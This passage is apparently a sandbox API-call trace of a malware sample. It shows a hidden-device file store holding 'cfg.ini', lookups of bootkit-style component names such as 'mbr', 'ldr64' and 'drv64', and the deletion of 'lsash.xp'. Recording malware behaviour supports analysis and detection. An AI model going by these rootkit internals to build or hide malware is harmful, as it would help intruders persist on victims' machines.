| out: FastMutex=0xfffffa80027d3898) [0120.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.508] KeLeaveCriticalRegion () [0120.508] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.508] KeEnterCriticalRegion () [0120.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.508] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.508] IdePortDispatch () returned 0x103 [0120.508] KeWaitForMutexObject () returned 0x0 [0120.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.508] KeLeaveCriticalRegion () [0120.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.508] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.508] KeEnterCriticalRegion () [0120.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.508] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347d000 [0120.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.508] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.508] IdePortDispatch () returned 0x103 [0120.508] KeWaitForMutexObject () returned 0x0 [0120.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.508] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.508] IdePortDispatch () returned 0x103 [0120.509] KeWaitForMutexObject () returned 0x0 [0120.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] KeLeaveCriticalRegion () [0120.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.509] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.509] KeEnterCriticalRegion () [0120.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] KeLeaveCriticalRegion () [0120.509] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.509] KeEnterCriticalRegion () [0120.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.509] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] KeLeaveCriticalRegion () [0120.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.509] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.509] KeEnterCriticalRegion () [0120.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.509] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.510] KeLeaveCriticalRegion () [0120.510] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.510] ReleaseMutex (hMutex=0xf0) returned 1 [0120.510] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.510] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.510] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.510] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.510] KeEnterCriticalRegion () [0120.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.510] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.510] IdePortDispatch () returned 0x103 [0120.510] KeWaitForMutexObject () returned 0x0 [0120.510] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.510] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.510] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.510] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.510] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.510] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.510] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.510] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.510] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.510] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.510] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.510] KeLeaveCriticalRegion () [0120.510] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.510] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.510] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.510] KeEnterCriticalRegion () [0120.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.511] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.511] IdePortDispatch () returned 0x103 [0120.511] KeWaitForMutexObject () returned 0x0 [0120.511] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.511] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.511] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.511] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.511] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.511] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.511] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.511] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.511] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.511] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.511] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.511] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.511] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.511] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.511] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.511] KeLeaveCriticalRegion () [0120.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.511] ReleaseMutex (hMutex=0x100) returned 1 [0120.511] Sleep (dwMilliseconds=0x2bf20) [0120.517] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b0675b0, dwHighDateTime=0x1d24fa4)) [0120.517] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.517] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.517] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.517] KeEnterCriticalRegion () [0120.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.518] IdePortDispatch () returned 0x103 [0120.518] KeWaitForMutexObject () returned 0x0 [0120.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.518] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.518] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.518] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.518] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.518] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbae60 [0120.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.518] KeLeaveCriticalRegion () [0120.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.518] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.518] KeEnterCriticalRegion () [0120.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.519] KeLeaveCriticalRegion () [0120.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.519] KeEnterCriticalRegion () [0120.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.519] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.519] IdePortDispatch () returned 0x103 [0120.519] KeWaitForMutexObject () returned 0x0 [0120.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.519] KeLeaveCriticalRegion () [0120.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.519] KeEnterCriticalRegion () [0120.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003480000 [0120.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.519] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.519] IdePortDispatch () returned 0x103 [0120.520] KeWaitForMutexObject () returned 0x0 [0120.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.520] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.520] IdePortDispatch () returned 0x103 [0120.520] KeWaitForMutexObject () returned 0x0 [0120.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.520] KeLeaveCriticalRegion () [0120.520] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.520] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.520] KeEnterCriticalRegion () [0120.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] KeLeaveCriticalRegion () [0120.521] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.521] KeEnterCriticalRegion () [0120.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.521] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc140, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] KeLeaveCriticalRegion () [0120.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.521] KeEnterCriticalRegion () [0120.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] ExFreePoolWithTag (P=0xfffffa8003bbae60, Tag=0x0) [0120.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] KeLeaveCriticalRegion () [0120.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.521] ReleaseMutex (hMutex=0xf0) returned 1 [0120.521] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.521] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.521] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.521] KeEnterCriticalRegion () [0120.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.521] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.521] IdePortDispatch () returned 0x103 [0120.521] KeWaitForMutexObject () returned 0x0 [0120.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.521] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.521] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.521] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.521] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.521] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbaf10 [0120.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] KeLeaveCriticalRegion () [0120.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.522] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.522] KeEnterCriticalRegion () [0120.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] KeLeaveCriticalRegion () [0120.522] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.522] KeEnterCriticalRegion () [0120.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.522] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.522] IdePortDispatch () returned 0x103 [0120.522] KeWaitForMutexObject () returned 0x0 [0120.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] KeLeaveCriticalRegion () [0120.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.522] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.522] KeEnterCriticalRegion () [0120.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.522] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003481000 [0120.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.522] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.522] IdePortDispatch () returned 0x103 [0120.522] KeWaitForMutexObject () returned 0x0 [0120.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.523] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.523] IdePortDispatch () returned 0x103 [0120.523] KeWaitForMutexObject () returned 0x0 [0120.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.523] KeLeaveCriticalRegion () [0120.523] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.523] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.523] KeEnterCriticalRegion () [0120.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.523] KeLeaveCriticalRegion () [0120.523] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.523] KeEnterCriticalRegion () [0120.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.523] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.524] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.524] 